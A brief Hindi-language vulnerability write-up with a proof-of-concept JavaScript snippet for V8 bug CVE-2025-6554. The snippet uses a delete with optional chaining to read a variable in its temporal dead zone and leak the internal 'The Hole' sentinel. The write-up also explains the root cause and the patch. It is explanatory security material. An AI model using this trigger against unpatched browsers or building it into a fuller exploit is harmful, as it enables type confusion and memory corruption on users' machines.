
V8 जावास्क्रिप्ट इंजन भेद्यता (CVE-2025-6554) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो TDZ बायपास प्रदर्शित करता है जो 'The Hole' सेंटिनल को लीक करता है, जिससे टाइप कन्फ्यूजन और संभावित मेमोरी करप्शन सक्षम होता है।
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
घोषणा से पहले एक चर y तक पहुंचा गया। सामान्यतः इससे ReferenceError (TDZ) ट्रिगर होना चाहिए, लेकिन पुराने V8 में, जब delete x?.[y] के साथ जोड़ा गया, तो जाँच विफल हो गई और आंतरिक सेंटिनल मान "The Hole" लौटाया।
V8 ने केवल एक बार TDZ की जाँच की, फिर गलत तरीके से मान लिया कि y वैध है। इसने "The Hole" को उपयोगकर्ता कोड में बच निकलने दिया।
पैच प्रत्येक पहुंच पर एक नई TDZ जाँच (ThrowReferenceErrorIfHole) को लागू करता है, यह सुनिश्चित करता है कि आरंभीकरण से पहले y हमेशा थ्रो करे। प्रभाव: हमलावर "The Hole" को पकड़ सकते हैं और टाइप कन्फ्यूजन, स्टैक ट्रिक्स, या स्कोप बाइपास के लिए इसका दुरुपयोग कर सकते हैं।